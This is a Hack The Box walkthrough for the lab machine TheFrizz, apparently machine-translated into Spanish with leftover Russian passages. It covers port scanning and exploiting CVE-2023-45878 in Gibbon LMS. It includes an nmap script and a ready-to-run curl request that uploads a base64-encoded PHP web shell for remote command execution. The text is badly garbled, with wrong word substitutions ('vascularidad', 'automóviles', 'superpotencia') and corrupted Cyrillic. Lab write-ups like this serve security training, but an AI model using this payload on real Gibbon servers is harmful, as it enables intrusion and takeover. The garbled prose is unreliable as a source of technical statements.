Hoy mostraré cómo explotar una simple vascularidad web en el sistema de aprendizaje remoto de Gibbon que trabaja en Windows. Habiendo tenido la oportunidad de eliminar el código en el sistema, extraeremos a los usuarios de la base de datos y capturaremos completamente el servidor.
Nuestro objetivo final es obtener los derechos de una superpotencia por thefrizz del sitio de capacitación Hackear la caja. El nivel de complejidad de la tarea es promedio.
advertencia
Se recomienda conectarse a automóviles con HTB utilizando herramientas de anonimato y virtualización. No haga esto desde las computadoras donde hay datos importantes para usted, ya que se encontrará en una red común con otros participantes.
Inteligencia
Escaneo de puertos
Agregue la dirección IP de la máquina a /etc/hosts:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Actúa en dos etapas. El primero es el escaneo rápido habitual, en el segundo: escaneo más completo, utilizando scripts existentes (opción -A).
El escáner encontró 13 puertos abiertos:
- 22 - OpenSsh;
- 80 (http) - Web -servidor Apache 2.4.58;
- 88 - Kerberos;
- 135 - Un servicio de llamadas remoto (Microsoft RPC);
- 139 - слжжба с анс Netbios, netlogon;
- 389 - LDAP;
- 445 - SMB;
- 464 - Servicio de cambio de contraseña de Kerberos;
- 593 (http-rpc-epmap)-исползеетсe в слжбах dcom и ms intercambio;
- 636 - LDAP сифрованиаículos tls;
- 3268 (LDAP) - Para el acceso al catálogo global de un cliente a un controlador;
- 3269 (LDAP) - Para el acceso al catálogo global de un cliente a un controlador a través de una conexión segura;
- 9389 - Servicio web AD DS.
Web - servidor Vыpetnete Redirección de frizzdc.frizz.htb. Actualizar la entrada en el archivo /etc/hosts Y abrimos el sitio a través del navegador.
10.10.11.60 thefrizz.htb frizzdc.frizz.htb frizz.htb
Punto de entrada
En la página de bienvenida encontramos una notificación que dice la transición a los protocolos de autenticación de Azure Active Directory y Kerberos.
En la parte inferior de la página encontramos el nombre y la versión del motor del sitio: Gibbon V25.0.00. En primer lugar, vale la pena verificar si hay vulnerabilidad para ella. La forma más fácil es mirar en Google.
De los resultados aprendemos que Gibbon a la versión v25.0.01 es vulnerable a CVE-2023-45878. La esencia de la vulnerabilidad es que un usuario no autorizado puede cargar archivos arbitrarios al servidor, y esto le permite obtener la ejecución del código remoto a través de la carga PHP-Silel. La siguiente solicitud se carga con PHP asdf.php En el catálogo de Gibbon.
curl -X POST 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' -H 'Host: frizzdc.frizz.htb' --data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8+" -d 'path=asdf.php' -d 'gibbonPersonID=0000000001'
2025-08-25 15:30:00
#Htb #thefrizz #Capturamos #servidor #web #Gibbon #LMSHacker,
Leave a Reply